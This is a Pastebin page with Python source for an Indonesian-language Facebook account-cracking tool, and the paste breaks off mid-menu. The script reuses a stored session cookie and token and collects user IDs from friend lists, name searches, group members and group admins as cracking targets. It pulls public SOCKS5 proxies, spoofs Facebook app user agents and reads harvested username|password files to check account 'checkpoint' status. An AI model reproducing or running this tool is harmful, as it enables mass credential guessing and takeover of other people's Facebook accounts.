Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ----[ CREATE BY ZORA ID 2024 ]---- #
- ME = '\x1b[1;91m' # MERAH
- HU = '\x1b[1;92m' # HIJAU
- KG = '\x1b[1;93m' # KUNING
- BU = '\x1b[1;94m' # BIRU
- UU = '\x1b[1;95m' # UNGU
- DT = '\x1b[0m' # DEFAULT
- try:
- import os, re, sys, json, time, random, requests, datetime, bs4, uuid, base64, string, urllib, hashlib, subprocess
- from rich.console import Console
- from rich.console import Console
- from rich.columns import Columns
- from rich.tree import Tree
- from rich.panel import Panel
- from rich import print as printz
- from concurrent.futures import ThreadPoolExecutor
- from token_eaat import GenerateEAAT
- from asset.useragent_fb import Useragent
- from banner import Terminal
- except(Exception, KeyboardInterrupt) as e:
- try:
- from urllib.parse import quote
- __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
- exit()
- except(Exception, KeyboardInterrupt) as e:
- from urllib.parse import quote
- __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
- exit()
- data, data2 = {},{}
- bs = bs4.BeautifulSoup
- dump, proxies, active, inactive, deleted = [],[],[],[],[]
- def generate_random_chrome_version():
- return (f'{random.randrange(85, 124)}.0.{random.randrange(4200, 4900)}.{random.randrange(40, 150)}')
- def generate_agent():
- android_version = subprocess.check_output("getprop ro.build.version.release", shell=True).decode("utf-8").replace("\n", "")
- model_device = subprocess.check_output("getprop ro.product.model", shell=True).decode("utf-8").replace("\n", "")
- build_device = subprocess.check_output("getprop ro.build.id", shell=True).decode("utf-8").replace("\n", "")
- chrome_version = generate_random_chrome_version()
- large_device = "{{density=2.25,height={},width={}}}".format(
- subprocess.check_output('getprop ro.hwui.text_large_cache_height', shell=True).decode('utf-8').replace('\n', ''),
- subprocess.check_output('getprop ro.hwui.text_large_cache_width', shell=True).decode('utf-8').replace('\n', '')
- )
- manufacturer_device = subprocess.check_output("getprop ro.product.manufacturer", shell=True).decode("utf-8").replace("\n", "")
- brand_device = subprocess.check_output("getprop ro.product.brand", shell=True).decode("utf-8").replace("\n", "")
- cpu_device = subprocess.check_output("getprop ro.product.cpu.abilist", shell=True).decode("utf-8").replace(",", ":").replace("\n", "")
- app_version = str(random.randint(111111111, 999999999))
- language = random.choice(["en_US","en_GB","in_ID"])
- try:
- simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[1].replace("\n", "")
- except:
- simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[0].replace("\n", "")
- model_realme = random.choice(["RMX3516", "RMX3371",
- "RMX3461", "RMX3286", "RMX3561", "RMX3388",
- "RMX3311", "RMX3142", "RMX2071", "RMX1805",
- "RMX1809", "RMX1801", "RMX1807", "RMX1803",
- "RMX1825", "RMX1821", "RMX1822", "RMX1833",
- "RMX1851", "RMX1853", "RMX1827", "RMX1911",
- "RMX1919", "RMX1927", "RMX1971", "RMX1973",
- "RMX2030", "RMX2032", "RMX1925", "RMX1929",
- "RMX2001", "RMX2061", "RMX2063", "RMX2040",
- "RMX2042", "RMX2002", "RMX2151", "RMX2163",
- "RMX2155", "RMX2170", "RMX2103", "RMX3085",
- "RMX3241", "RMX3081", "RMX3151", "RMX3381",
- "RMX3521", "RMX3474", "RMX3471", "RMX3472",
- "RMX3392", "RMX3393", "RMX3491", "RMX1811",
- "RMX2185", "RMX3231", "RMX2189", "RMX2180",
- "RMX2195", "RMX2101", "RMX1941", "RMX1945",
- "RMX3063", "RMX3061", "RMX3201", "RMX3203",
- "RMX3261", "RMX3263", "RMX3193", "RMX3191",
- "RMX3195", "RMX3197", "RMX3265", "RMX3268",
- "RMX3269", "RMX2027", "RMX2020", "RMX2021",
- "RMX3581", "RMX3501", "RMX3503", "RMX3511",
- "RMX3310", "RMX3312", "RMX3551", "RMX3301",
- "RMX3300", "RMX2202", "RMX3363", "RMX3360",
- "RMX3366", "RMX3361", "RMX3031", "RMX3370",
- "RMX3357", "RMX3560", "RMX3562", "RMX3350",
- "RMX2193", "RMX2161", "RMX2050", "RMX2156",
- "RMX3242", "RMX3171", "RMX3430", "RMX3235",
- "RMX3506", "RMX2117", "RMX2173", "RMX3161",
- "RMX2205", "RMX3462", "RMX3478", "RMX3372",
- "RMX3574", "RMX1831", "RMX3121", "RMX3122",
- "RMX3125", "RMX3043", "RMX3042", "RMX3041",
- "RMX3092", "RMX3093", "RMX3571", "RMX3475",
- "RMX2200", "RMX2201", "RMX2111", "RMX2112",
- "RMX1901", "RMX1903", "RMX1992", "RMX1993",
- "RMX1991", "RMX1931", "RMX2142", "RMX2081",
- "RMX2085", "RMX2083", "RMX2086", "RMX2144",
- "RMX2051", "RMX2025", "RMX2075", "RMX2076",
- "RMX2072", "RMX2052", "RMX2176", "RMX2121",
- "RMX3115", "RMX1921"])
- build_device = random.choice(['OPM1','TP1A','RP1A','PPR1','PKQ1','QP1A','SP1A','RKQ1','QKQ1'])
- versi_build = random.choice(['01','02','03','04','05','06','07','08','09','10','11','12','13','14','15','16','17','18','19'])
- user_agent = f"Davik/2.1.0 (Linux; U; Android {random.randint(9,13)}; {model_realme} Build/{build_device}.{random.randint(111111,210000)}.0{versi_build}; wv)"+" [FBAN/MessengerKatana;FBAV/{};FBPN/com.facebook.katana;FBLC/{};FBBV/{};FBCR/{};FBMF/{};FBBD/{};FBDV/{};FBSV/{};FBCA/{};FBDM/{};]".format(
- chrome_version, language, app_version, simcard,
- manufacturer_device, brand_device, model_realme, android_version, cpu_device, large_device
- )
- return user_agent
- def generate_user_agent():
- android_version = subprocess.check_output("getprop ro.build.version.release", shell=True).decode("utf-8").replace("\n", "")
- model_device = subprocess.check_output("getprop ro.product.model", shell=True).decode("utf-8").replace("\n", "")
- build_device = subprocess.check_output("getprop ro.build.id", shell=True).decode("utf-8").replace("\n", "")
- chrome_version = generate_random_chrome_version()
- large_device = "{{density=2.25,height={},width={}}}".format(
- subprocess.check_output('getprop ro.hwui.text_large_cache_height', shell=True).decode('utf-8').replace('\n', ''),
- subprocess.check_output('getprop ro.hwui.text_large_cache_width', shell=True).decode('utf-8').replace('\n', '')
- )
- manufacturer_device = subprocess.check_output("getprop ro.product.manufacturer", shell=True).decode("utf-8").replace("\n", "")
- brand_device = subprocess.check_output("getprop ro.product.brand", shell=True).decode("utf-8").replace("\n", "")
- cpu_device = subprocess.check_output("getprop ro.product.cpu.abilist", shell=True).decode("utf-8").replace(",", ":").replace("\n", "")
- app_version = str(random.randint(111111111, 999999999))
- language = random.choice(["en_US","en_GB","in_ID"])
- try:
- simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[1].replace("\n", "")
- except:
- simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[0].replace("\n", "")
- user_agent = "Davik/2.1.0 (Linux; U; Android {}; {} Build/{}) [FBAN/MessengerLite;FBAV/{};FBPN/com.facebook.katana;FBLC/{};FBBV/{};FBCR/{};FBMF/{};FBBD/{};FBDV/{};FBSV/{};FBCA/{};FBDM/{};]".format(
- android_version, model_device, build_device, chrome_version, language, app_version, simcard,
- manufacturer_device, brand_device, model_device, android_version, cpu_device, large_device
- )
- return user_agent
- class Requ:
- def __init_(self) -> None:
- pass
- def payload(self, curl):
- self.payload = {
- 'av': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
- '__user': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
- '__a':'1',
- '__req': 'h',
- '__hs': re.search('"haste_session":"(.*?)"', str(curl)).group(1),
- 'dpr': '2',
- '__ccg': re.search('"connectionClass":"(.*?)"',str(curl)).group(1),
- '__rev': re.search('{"consistency":{"rev":(\d+)}', str(curl)).group(1),
- '__s': '',
- '__hsi': re.search('"hsi":"(\d+)"', str(curl)).group(1),
- '__dyn': '',
- '__csr': '',
- '__comet_req': re.search('__comet_req=(\d+)', str(curl)).group(1),
- 'fb_dtsg': re.search('"DTSGInitialData",\[\],{"token":"(.*?)"}',str(curl)).group(1),
- 'jazoest': re.search('jazoest=(\d+)', str(curl)).group(1),
- 'lsd': re.search('"LSD",\[\],{"token":"(.*?)"',str(curl)).group(1),
- '__spin_r': re.search('"__spin_r":(\d+)', str(curl)).group(1),
- '__spin_b': re.search('"__spin_b":"(.*?)"',str(curl)).group(1),
- '__spin_t': re.search('"__spin_t":(\d+)', str(curl)).group(1),
- 'fb_api_caller_class': 'RelayModern'
- }
- return(self.payload)
- def headers_get(self):
- self.headers = {
- 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'Accept-Encoding':'gzip, deflate',
- 'Accept-Language':'en-US,en;q=0.9',
- 'Cache-Control':'max-age=0',
- 'Pragma':'akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no, akamai-x-get-request-id,akamai-x-get-nonces,akamai-x-get-client-ip,akamai-x-feo-trace',
- 'Sec-Ch-Prefers-Color-Scheme':'light',
- 'Sec-Ch-Ua':'','Sec-Ch-Ua-Full-Version-List':'',
- 'Sec-Ch-Ua-Mobile':'?0',
- 'Sec-Ch-Ua-Platform':'',
- 'Sec-Ch-Ua-Platform-Version':'',
- 'Sec-Fetch-Dest':'document',
- 'Sec-Fetch-Mode':'navigate',
- 'Sec-Fetch-Site':'same-origin',
- 'Sec-Fetch-User':'?1',
- 'Upgrade-Insecure-Requests':'1',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36','Viewport-Width':'924'
- }
- return(self.headers)
- def headers_post(self):
- self.headers = {
- 'Accept':'*/*',
- 'Accept-Encoding':'gzip, deflate',
- 'Accept-Language':'en-US,en;q=0.9',
- 'Content-Type':'application/x-www-form-urlencoded',
- 'Origin':'https://www.facebook.com',
- 'Sec-Ch-Prefers-Color-Scheme':'dark',
- 'Sec-Ch-Ua':'',
- 'Sec-Ch-Ua-Full-Version-List':'',
- 'Sec-Ch-Ua-Mobile':'?0',
- 'Sec-Ch-Ua-Model':'',
- 'Sec-Ch-Ua-Platform':'',
- 'Sec-Ch-Ua-Platform-Version':'',
- 'Sec-Fetch-Dest':'empty',
- 'Sec-Fetch-Mode':'cors',
- 'Sec-Fetch-Site':'same-origin',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'
- }
- return(self.headers)
- def bahasa(self, cookie):
- with requests.Session() as r:
- try:
- curl = r.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text
- if "Apa yang Anda pikirkan sekarang" in curl: pass
- else:
- for z in curl.find_all("a",href=True):
- if "Tidak, Terima Kasih" in z.text:
- res = r.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie":cookie})
- par = bs(res.text,"html.parser")
- act = par.find("form",{"method":"post"})["action"]
- pat = {
- "fb_dtsg": re.search('name="fb_dtsg" value="(.*?)"', str(act.text)).group(1),
- "jazoest":re.search('name="jazoest" value="(.*?)"', str(act.text)).group(1),
- "submit": "OK, Gunakan Data"
- }
- pos = r.post("https://mbasic.facebook.com"+act,data=pat,cookies={"cookie": cookie})
- return pos
- except (Exception) as e: pass
- def GetFriends(self, cookie):
- with requests.Session() as r:
- try:
- resp = r.get('https://mbasic.facebook.com/profile.php?v=friends',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text
- if '"success":true' or 'Teman' not in str(resp):
- return re.search('>Teman (.*?)</h3>',str(resp)).group(1).split('(')[1].split(')')[-2]
- except (Exception) as e: return('Tidak Ada')
- def GetUltah(self, cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/profile.php?v=info',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- if '"success":true' or 'Tanggal Lahir' not in str(resp):
- ultah = resp.find(string=re.compile('Tanggal Lahir'))
- if ultah: return(ultah.find_next('div').text)
- else: return('tidak di ketahui')
- except (Exception) as e: return(None)
- def ApkActive(self,cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=active',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- for x in resp.find_all("h3"):
- if "Ditambahkan" in x.text: active.append(f"{DT}{str(x.text).replace('Ditambahkan',f' {HU}Ditambahkan')}{DT}")
- else: continue
- next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
- self.ApkActive(next,cookie)
- except (Exception) as e: pass
- def ApkInactive(self,cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- for x in resp.find_all("h3"):
- if "Kedaluwarsa" in x.text: inactive.append(f"{DT}{str(x.text).replace('Kedaluwarsa',f' {KG}Kedaluwarsa')}{DT}")
- else: continue
- next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
- self.ApkInactive(next,cookie)
- except (Exception) as e: pass
- def ApkDeleted(self,cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- for x in resp.find_all("h3"):
- if "Dihapus" in x.text: deleted.append(f"{DT}{str(x.text).replace('Dihapus',f' {ME}Dihapus')}{DT}")
- else: continue
- next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
- self.ApkDeleted(next,cookie)
- except (Exception) as e: pass
- def ConvertName(self, User, cookie):
- with requests.Session() as r:
- if "me" in User or "100" in User:
- return User
- elif "https" in User or "facebook" in User:
- uid = User.split('/')[3]
- link = bs(r.get(f"https://mbasic.facebook.com/{uid}", cookies={'cookies':cookie[0]}).content, "html.parser")
- kut = link.find('a',string='Lainnya')
- return(str(kut['href']).split('=')[1].split('&')[0])
- else:
- link = bs(r.get(f"https://mbasic.facebook.com/{User}", cookies={'cookies':cookie[0]}).content, "html.parser")
- kut = link.find('a',string='Lainnya')
- return(str(kut['href']).split('=')[1].split('&')[0])
- def Socksku(self):
- with requests.Session() as r:
- try:
- response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
- for prox in response.splitlines():
- proxies.append(prox)
- return proxies
- except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()
- class Facebook:
- def __init__(self):
- self.requ = requests.Session()
- self.password_manual, self.password_manuale, self.masukan_sandi, self.masukan_sandine, self.daftar, self.sudah, self.opsi, self.uaman, self.uaku, self.ok, self.cp, self.lp = [],[],[],[],[],[],[],[],[],0,0,0
- self.dt = datetime.datetime.now()
- self.alt = ('Facebook-'+str(self.dt.year)+'.txt')
- self.kilo, self.kulo = [],[]
- self.chek_data()
- def deled_dst(self):
- try: os.system('rm -rf .data_fb.txt')
- except: pass
- GenerateEAAT().Cookies()
- def chek_data(self):
- if os.path.isfile('.data_fb.txt') is True:
- xxx = open('.data_fb.txt','r').read()
- cookie, token = xxx.split('|'), xxx.split('|')
- self.login_menu(cookie, token)
- else: self.deled_dst()
- def chek_info(self, cookie, token):
- with requests.Session() as r:
- try:
- response = r.get(f"https://graph.facebook.com/me?fields=id,name,birthday,gender&access_token={token[1]}", cookies = {'cookies':cookie[0]}).json()
- bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- bulan, tanggal, tahun = response['birthday'].split('/')
- return (response['id'],response['name'],f'{tanggal} {bulan_ttl[bulan]} {tahun}',response['gender'])
- except (KeyError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().print("[bold grey50] ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!.."); time.sleep(3)
- self.deled_dst()
- def login_menu(self,cookie, token):
- try: id, name, lahir, gender = self.chek_info(cookie, token)
- except (requests.exceptions.ConnectionError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().print("[bold grey50] ╰─> Terjadi Kesalahan, Koneksi Anda Error!!.."); time.sleep(3)
- self.chek_data()
- Terminal().Banner_Facebook()
- self.kulo.append(Panel(f'[bold green]•[bold white] User id [bold green]{id}\n[bold green]•[bold white] Username [bold green]{name}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- self.kulo.append(Panel(f'[bold green]•[bold white] Gender [bold green]{gender}\n[bold green]•[bold white] Lahir [bold green]{lahir}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- Console().print(Columns(self.kulo))
- Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack id dari daftar teman [bold white][bold green]06[bold white]. Chek opsi checkpoint\n[bold white][bold green]02[bold white]. Crack id dari search uname\t[bold white][bold green]07[bold white]. Dump id ke file txt\n[bold white][bold green]03[bold white]. Crack id dari member group\t[bold white][bold green]08[bold white]. Clone random email\n[bold white][bold green]04[bold white]. Crack id dari admin group\t[bold white][bold green]09[bold white]. Chek result crack\n[bold white][bold green]05[bold white]. Crack id dari file dump\t[bold white][bold green]00[bold white].[bold red] Exit facebook''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- query = Console().input("[bold grey50] ╰─> ")
- if query == '01' or query == '1':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Akun Facebook Target Pastikan Tidak Terkunci Atau Private, Ketik [bold green]me[bold white] Jika Ingin Dump Teman Sendiri, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 100000430704534,100000430704534[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Friends(self.username, cookie, token)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '02' or query == '2':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Target, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, fatimah[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Unlimited[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Nama(f'https://www.facebook.com/search/people/?q={self.username}'.replace(' ','+'), cookie, '')
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: print(e)
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '03' or query == '3':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Grup Facebook Grup Pastikan Tidak Terkunci Atau Private, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 322227862223869,489534719248261[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Member(self.username, cookie, '')
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '04' or query == '4':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Grup Facebook, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] ayam, kandang[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Admin(f'https://free.facebook.com/search/groups/?q={self.username}', cookie)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '05' or query == '5':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan File Dump Anda Sesuai Tempat Menyimpan File Dump, Banyaknya File Dump Bisa Menggunakan Koma, Misalnya :[italic green] /sdcard/dump1.txt,/sdcard/dump2.txt[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Clone_Files(self.username)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '06' or query == '6':
- try: file = os.listdir('/sdcard/CP')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
- Console().input("[bold grey50] ╰─> Tekan Enter!!")
- for buka in open('/sdcard/CP/'+str(files)).readlines():
- try:
- username, password = buka.split('|')[0], buka.split('|')[1]
- self.DetedtorChekpoint(username, password)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '08' or query == '8':
- try:
